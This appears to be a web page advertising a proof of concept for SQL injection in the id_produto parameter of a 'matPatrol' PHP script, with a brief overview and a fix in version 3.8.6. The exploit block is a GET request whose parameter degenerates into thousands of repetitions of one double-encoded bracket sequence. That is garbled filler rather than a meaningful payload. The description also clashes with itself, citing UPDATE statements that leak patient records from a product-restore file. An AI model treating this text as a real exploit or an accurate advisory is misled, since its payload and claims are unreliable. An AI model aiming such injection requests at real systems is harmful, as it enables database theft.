matPatrol SQL Injection POC: restaurar_produto_descoultar.php id_produto param

Vulnerability Overview Vulnerability Name: SQL Injection in http/matPatrol/restaurar_produto_descoultar.php id_produto parameter Vulnerability Type: SQL Injection Vulnerability Description: In the file, there is an SQL injection vulnerability via the parameter. An attacker can execute arbitrary SQL commands to extract data from the database. Scope of Impact: This vulnerability affects the execution of all three UPDATE statements, potentially leading to the leakage of sensitive data, including credentials, patient records, and internal data. Remediation Fixed Version: 3.8.6 Remediation Recommendation: Update to the fixed version 3.8.6. Ensure that all SQL queries are properly preprocessed and parameterized to prevent SQL injection attacks. POC or Exploit Code ```php GET /matPatrol/restaurar_produto_descoultar.php?id_produto=400%257676%2528%252C%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528%2528

Goal Reached Thanks to every supporter — we hit 100%!

matPatrol SQL Injection POC: restaurar_produto_descoultar.php id_produto param

More from this source